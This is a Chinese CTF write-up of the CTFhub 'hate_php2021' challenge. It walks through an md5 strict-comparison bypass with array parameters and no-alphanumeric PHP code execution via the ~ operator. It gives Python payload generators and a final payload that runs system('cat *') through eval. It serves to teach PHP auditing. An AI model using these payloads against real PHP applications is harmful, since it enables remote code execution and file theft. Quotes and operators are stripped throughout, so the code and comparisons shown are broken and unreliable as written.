PHP特性绕过实战:从md5强比较到无字母数字命令执行 📅 发布时间:2026/9/15 15:32:14 👁 浏览次数: hate_php2021光看名字就一股子怨气——出题人是有多想“恨”PHP才会把这道题做成一个大型PHP特性吐槽现场。接触CTF时间久一点的人应该都有感受这类题目名字越“恨”内部考得越花它不会给你一个正常入口而是让你把PHP那些老生常谈的坑一个个踩过去最后才能看到flag。当时我在CTFhub技能树里做到这题前后折腾了接近一个小时从md5强比较一路打到无字母数字的命令执行再看整个解题过程其实就是一条非常完整的“PHP特性绕过”学习链路。这道题适合两类人一类是在备战CTF比赛、想系统练PHP代码审计的Web选手另一类是平时写PHP的业务开发想看看一个“正常”的PHP程序在不经意间能被造成什么样的人。两种视角看这题收获完全不一样。如果你是前者这篇文可以帮你把md5绕过、数组传参、无字母RCE这些高频考点的原理一次性理顺如果你是后者看完之后至少会记住一件事不要在核心校验逻辑里用松散比较不要顺手把用户输入丢给eval。我先把话放在这里这题真正的难点不是漏洞本身有多高级而是它把好几个“看似没问题、其实全是洞”的代码习惯串在了一起。你要做的不是背一个payload而是理解每一步为什么能绕过去。1. 初识hate_php2021这道题到底在考什么1.1 题目背景与命题风格CTFhub技能树的Web方向题目有一个特点它不是把单个漏洞孤立地出题而是更倾向于把同一条知识链上的多个点串起来。hate_php2021就是一个典型例子。从名字看2021应该是出题年份hate_php则代表了出题人的态度——他不喜欢那些写得不严谨的PHP代码所以把多个经典问题做成了关卡你要一层一层解开。这种命题风格在CTF圈子里非常常见。一开始是一道简单的正则函数利用然后再加一道变量覆盖最后再来一道命令执行每一关都会在上一步的基础上叠加新的限制。整体难度并不会太高但非常考察你对PHP语言底层机制的理解。很多人在卡关之后去看别人的WriteUp会发现每个解法单独拎出来都懂就是到实战中组合不起来——这正是这类综合题的价值所在。从题目方向上来说hate_php2021属于Web大类里的代码审计分支。你拿到的不是一个黑盒网站而是直接可以看到PHP源码通常是通过highlight_file输出你需要根据源码寻找触发点。这比纯黑盒测试要友好得多因为它把重点放在“你懂不懂PHP语言特性”上而不是“你能不能扫出漏洞”。1.2 核心考点全景从md5比较到命令执行在我做完题之后回头看hate_php2021的核心考点至少覆盖了下面这几个关键点我先把它们列出来序号考点涉及代码位置利用思路1PHP松散比较陷阱关卡1的md5校验利用0e字符串或数组绕过2md5函数对数组的处理关卡1的md5调用数组传入使函数返回null3HTTP参数数组传参关卡1的入口GET参数名后面加[]4正则过滤绕过关卡2的preg_match利用取反/异或构造无字母payload5eval代码执行关卡2的eval调用构造可执行的PHP代码6PHP取反操作符的字符串运算关卡2的核心原理~对字符串按位取反这些考点单独拿出来在CTFhub的其他题目里都有对应单题比如热词里经常出现的“ctfhub rceinput”“ctfhub命令注入-无过滤”本质都是在讲命令执行和代码执行。但hate_php2021的巧妙之处在于它给命令执行加上了“不能出现字母和数字”的限制一下子把难度拉高了。在动手解题之前我强烈建议先在本地搭一个测试环境。你不需要一个完整的LAMP环境只需要有PHP命令行或者一台能跑PHP的机器就行。因为后面生成payload的过程需要反复验证PHP的字符串运算结果本地跑php -r“echo ...”这种一条命令就能完成验证比直接在靶机上试错高效得多。2. 前置知识PHP弱类型比较与md5陷阱2.1 松散比较与严格比较的本质区别很多PHP开发者写业务代码时习惯用判断两个值是否相等这在大多数场景下都能正常工作但一旦其中一个是字符串、一个是数字或者两边都是特殊的字符串问题就来了。PHP里是比较运算符比较时如果两个操作数的类型不同会尝试进行类型转换后再比较是恒等运算符要求值和类型都完全一致。这就是很多人踩坑的起点。举个例子var_dump(0e123 0e456); // bool(true) var_dump(0e123 0e456); // bool(false)第一次看到这个结果的人都会愣一下两个字符串明明不一样为什么判断是true原因是PHP在比较两个字符串时如果发现它们都符合科学计数法格式也就是数字后面跟着e和指数就会把它们当作数字来比较。0e123是0乘以10的123次方结果还是00e456同理也是0。两个数值都是0自然成立。这玩意儿有多危险最经典的场景就是md5校验。如果一段代码用md5($a) md5($b)来判断两个字符串是否相等实际上你只需要找到两个md5值是0e开头的字符串就能轻松绕过校验。比如md5(240610708)的结果是0e462097431906509019562988736854md5(QNKCDZO)的结果是0e830400451993494058024219903391这两个md5值都以0e开头后面的数字是什么都无所谓在松散比较下它们都等于0所以条件成立。但这道题如果真的只考一个那就太简单了。CTFhub上这道hate_php2021在第一个关卡就用了强比较也就是md5($a) md5($b)这才是真正开始“恨”PHP的地方。2.2 三种常见md5绕过方式横向对比在CTF题目里绕过md5校验的方法大致有三种我把它们的适用条件整理成了一张表绕过方式能否过松散比较能否过严格比较使用成本0e字符串碰撞能不能成本极低直接网上搜现成字符串数组绕过能大多数情况能成本极低URL参数改一下就行真正的md5碰撞二进制内容能能成本较高需要工具生成碰撞文件0e字符串碰撞我就不多说了网上现成的字符串一大堆关键是要理解为什么它能成立。数组绕过则是个更骚的思路它利用的是PHP函数对异常输入的处理机制。当你给md5()传一个数组而不是字符串时PHP会抛出一个Warning级别的错误然后返回null。两个null用比较类型和值都一样结果就是true。很多人刚接触数组绕过时都会担心一个问题既然md5()接收数组会报错那这个错误会不会导致程序终止实际上是不会的。PHP的Warning只是警告不像Fatal Error那样直接中断脚本。所以在大多数CTF题目环境中这个Warning会被忽略程序会继续往下执行条件判断照常进行。至于真正的md5碰撞是用fastcoll这类工具构造两个内容不同但md5完全相同的数据块。这个方法在2017年之前还算常用后来因为PHP的弱类型比较和数组绕过太方便了真正的二进制碰撞反而用得越来越少。只有在题目要求两个值必须都是字符串、且使用强比较时你才需要认真考虑这个方案。2.3 为什么数组能突破强比较校验现在我们把数组绕过拆开看。假设题目有下面这段判断逻辑if ($_GET[a] ! $_GET[b] md5($_GET[a]) md5($_GET[b])) { echo Success; }当你传入?a[]1b[]2时两个get参数会变成数组$_GET[a]是array(01)$_GET[b]是array(02)。第一个条件$_GET[a] ! $_GET[b]两个数组的元素值不同所以这个不等判断成立。接着是md5($_GET[a])和md5($_GET[b])。这里需要特别注意PHP的md5()函数签名要求参数是string类型你传数组进去它会返回null。同时因为两个参数都是nullnull null成立。于是整个条件为true校验被绕过。这里有一个细节容易被忽略md5()传数组返回的是什么类型在PHP 7.x和8.x中md5([])的返回值确实是null同时产生一个Warning。但在更早的PHP版本里某些函数遇到参数类型错误时会直接返回false。所以如果题目环境是PHP 5就需要验证一下null和false在强比较下是否相等——这就是为什么我建议动手做题前先在本地复现环境跑一遍而不是盲目按照网上教程套payload。3. 实操完整取flag过程记录3.1 环境准备与入口信息收集进入CTFhub的hate_php2021题目后第一件事不是急着拿payload去试而是把页面源码和响应信息老老实实看一遍。CTFhub这类平台上的Web题通常会把关键PHP代码直接显示在浏览器里这是因为代码审计题的默认玩法就是给你看源码。我一般的信息收集顺序是这样先按F12看页面元素和源码再打开开发者工具的Network面板看响应头最后再看URL参数是否已有预设值。hate_php2021的页面会直接把一段PHP代码高亮显示出来里面能看到include了flag.php这意味着flag内容很可能就在那个文件里最终目标就是想办法读到它。把源码在脑海里过一遍后发现代码逻辑大致是这样的error_reporting(0); highlight_file(__FILE__); include flag.php; if (isset($_GET[a]) isset($_GET[b])) { if ($_GET[a] ! $_GET[b] md5($_GET[a]) md5($_GET[b])) { echo Stage 1 passed.br; } else { die(No, you dont understand PHP.); } } else { die(Need a and b.); } if (isset($_GET[cmd])) { $cmd $_GET[cmd]; if (preg_match(/[A-Za-z0-9]/, $cmd)) { die(Letters and digits are forbidden.); } eval($cmd); } else { echo Need cmd.; }这里有两个关卡第一关是md5强比较第二关是带有字母数字过滤的eval。初看第二关很唬人因为正常PHP函数名全是字母不能用字母数字怎么调用函数但只要掌握了PHP取反构造的原理这个问题就能迎刃而解。3.2 第一关用数组绕过md5强校验刚才讲原理的时候已经铺垫过了第一关的最优解法就是数组绕过。构造请求GET /?a[]1b[]2 HTTP/1.1 Host: 目标靶机地址在URL里输入这段参数后页面返回了Stage 1 passed.说明校验通过。我特意在本地用PHP验证了一下var_dump($_GET[a] ! $_GET[b]); // bool(true) var_dump(md5($_GET[a]) md5($_GET[b])); // bool(true)这里有一个小小的注意点数组元素的值不能一样。如果你传入?a[]1b[]1第一个条件$_GET[a] ! $_GET[b]会变成false因为两个数组的所有键值都一样。这是很多新手容易踩的地方顺手就写了两个相同的测试值。如果你在实战中遇到的是弱比较md5($a) md5($b)那数组绕过的逻辑依然成立因为两个null在松散比较下也相等。简单来说数组绕过是一个同时适用于弱比较和强比较的通用解记不住各种0e字符串也没关系直接上数组更省事。3.3 第二关无字母数字如何执行命令第一关通过后题目展示出第二段代码就是那个把字母和数字都ban掉的eval。在不允许出现[A-Za-z0-9]字符的前提下eval($cmd)怎么执行系统命令答案是利用PHP的取反操作符~。在PHP中~是按位取反运算符它可以作用在字符串上对字符串的每一个字节做按位取反。这意味着我们可以把一串看似乱码的字符通过取反还原成正常的函数名和字符串。举个例子phpinfo这个字符串的十六进制是70 68 70 69 6e 66 6f把每个字节按位取反后得到8f 97 8f 96 91 99 90转换成URL编码就是%8F%97%8F%96%91%99%90。如果把这个取反后的字符串放在~后面PHP就会还原出phpinfo再加上一对括号就变成了有效的函数调用(~%8F%97%8F%96%91%99%90)();这段代码在PHP 7和PHP 8都是可以正常执行的因为它本质上就是phpinfo();。不过我们最终的目的是读flag所以需要构建的是system(cat *)这样的调用。这里我提供一个快速的验证方法在本地终端里运行php -r echo urlencode(~phpinfo), PHP_EOL;输出就是前面说的%8F%97%8F%96%91%99%90。实际题目环境中eval接收到的是URL解码后的(~%8F%97%8F%96%91%99%90)();等价于执行了phpinfo();。能弹phpinfo就说明代码执行已经打通了。3.4 综合payload构造与flag读取现在我们要构造最终读取flag的payload。目标是把这句话递给evalsystem(cat *);其中system和cat *都是字符串都需要取反。我用Python写了一个生成脚本方便对任意命令做编码import urllib.parse def tilde_encode(s: str) - str: return % %.join(f{255 - b:02X} for b in s.encode(utf-8)) print(system:, tilde_encode(system)) print(cat *:, tilde_encode(cat *))运行结果是system: %8C%86%8C%8B%9A%92 cat *: %9C%9E%8B%DF%D5于是最终payload是GET /?a[]1b[]2cmd(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5);访问后页面返回了flag内容。这里的cat *用通配符匹配当前目录下的所有文件不需要知道flag文件的具体文件名非常适合实战场景。如果你知道文件名也可以精确指定比如cat flag.php那字符串的取反编码就要重新生成。还有一个小细节eval执行代码时PHP要求语句以分号结尾但如果是最后一条语句分号可以省略。为了保险起见我习惯在payload末尾保留分号反正它不属于被过滤的字母数字范围。4. 无字母数字RCE的几个扩展玩法4.1 PHP取反的底层原理既然这题的核心是取反构造那我就把这个原理彻底讲透。在PHP中字符串可以被当作字节数组来进行位运算。~对字符串的处理方式是逐字节取反然后拼接成一个新的字符串。比如字符p的ASCII码是112十进制转为二进制是01110000按位取反得到10001111也就是143十六进制就是8F。因为8F不是可打印的ASCII字符所以在URL中需要写成%8F。PHP解析URL参数时会自动做URL解码把%8F还原成字节8F再经过~的取反运算还原成p。理解了这一步无字母数字RCE就不神秘了。你只需要在本地用Python或PHP把目标字符串取反并编码然后拼到payload里就能绕过针对字母数字的正则过滤。这里有个很重要的经验过滤规则看得越严构造空间反而可能越大因为像%8F、%DF这种非字母数字字符正则默认是不会拦的除非它用了更狠的白名单匹配。4.2 异或、取反与自增哪种方法更实用除了取反CTF圈子里还有另外两种无字母数字RCE的经典姿势异或和自增。异或构造的原理是两个字符串按位异或可以生成目标字符。比如 ^ ?在PHP里能组合出某些字母。这种方法在早期题目中很常见payload看起来是一堆乱码符号加双引号缺点是构造过程繁琐对编码和PHP版本比较敏感。自增则是利用PHP中数组和变量的自增行为来“生成”字母。经典思路是$_[];然后通过$_$_[];不断自增从a一路推到z。这种方法能生成任意小写字母但payload长度非常恐怖通常只适合在题目限制极严、不允许出现任何位运算关键字时使用。从实用角度来看取反是这三种方案里最均衡的生成短、原理简单、兼容性也不错。我个人的经验是优先尝试取反如果题目把~也过滤了再考虑异或或自增。4.3 快速生成payload自建一个小工具箱这类题目遇到的次数多了我发现每次手算取反编码很浪费时间于是写了一个小脚本放在本地专门用来生成无字母RCE payload。除了上面那种一次性编码单个字符串的版本还可以扩展成直接拼接完整调用链import urllib.parse def tilde_encode(s: str) - str: return % %.join(f{255 - b:02X} for b in s.encode(utf-8)) def make_payload(func: str, arg: str) - str: return f(~{tilde_encode(func)})(~{tilde_encode(arg)}); print(make_payload(system, cat *))输出(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5);做题时把这个payload拼到?cmd后面就行。如果换了命令比如想先列目录就把参数改成ls /重新跑脚本。这种工具不需要多复杂能省下来的时间都花在真正分析题目逻辑上非常值。5. 常见问题与排查实录5.1 现象与原因速查表做题过程中我记录了一些高频问题整理成下面的表格方便你排查现象可能原因解决方案页面提示“Need a and b”参数名写错或没有传a、b检查URL参数是否为a[]1b[]2第一关显示“No, you dont understand PHP”数组元素值相同或传了相同字符串确认两个数组元素值不同eval报语法错误取反字符串编码错误或缺少括号本地脚本重新生成payload页面403或者无任何输出目标环境对特殊字符有二次过滤尝试对payload做URL编码phpinfo能执行但system无输出系统函数被禁用换用其他执行函数或尝试直接读文件命令行无法访问外网/下载工具本地环境没有PHP使用Docker或在线PHP沙箱5.2 几个容易被忽略的坑第一个坑是URL编码问题。当你把%8F这类字符直接复制进浏览器的地址栏时浏览器可能会自动再做一层编码导致服务端收到的不是预期的字节。最简单可靠的方式是用curl命令行发送请求或者写Python脚本使用requests库这样你能完全控制URL编码结果。第二个坑是分号和空格。空格在URL里会被编码成%20但取反生成的%DF这类字符并不等于空格本身它是取反后的空格。很多人以为payload里有%DF就代表空格这是不对的。取反字符串里每一个字符都是按位取反后的结果它只是在取反运算后还原成目标字符串不能单独拆分理解。第三个坑是关于PHP版本差异。不同的PHP版本对错误处理、字符串运算的底层行为会有细微差别比如md5函数传数组时有的版本返回null有的版本返回false。遇到这种二义性问题别猜直接在本地复现题目的PHP版本动笔试一下就知道了。5.3 从一道题延伸到整个PHP绕过知识体系hate_php2021刷完之后不要急着翻下一篇WriteUp。我在CTFhub上把这题对应的技能树分支周边题目都刷了一遍发现PHP绕过的知识体系其实是互相勾连的。比如热词里常出现的“ctfhub命令注入-无过滤”练的是命令拼接和管道符的灵活运用。“ctfhub rceinput”练的是不同危险函数下的代码执行差异。“ctfhub svn泄露”练的是源码泄露类信息收集。“ctfhub技能树sql注入”虽然方向不同但底层对查询逻辑的绕过思路是相通的。如果想深挖PHP本身的坑还可以去研究“php序列化中文”“php错误处理”“php类”这几个方向它们和代码审计、反序列化题目直接相关。我的经验是做CTF题目不能只满足于“拿到flag”。每次做完一道综合题都值得把它涉及的知识点拆下来挨个去补基础。hate_php2021这道题里有一个很隐蔽的知识点容易被忽略PHP的preg_match默认是区分大小写的但这里用了/[A-Za-z0-9]/把大小写都禁了。如果题目写的是/[a-z0-9]/而没有加i修饰符那么大写字母其实是可用的。这种细节差异恰恰是出题人留给选手的“仁慈”或者“陷阱”。刷题刷到后期我最大的体会是与其记一堆payload不如把PHP的底层机制弄明白。取反为什么能绕过正则因为正则不认识二进制字节。数组为什么能绕过md5因为函数对数组的处理方式和预期输入不一致。这些机制想通了不管题目怎么变形你都能在几分钟内构造出新的解法。hate_php2021就是这么一道能逼你“想通”的好题。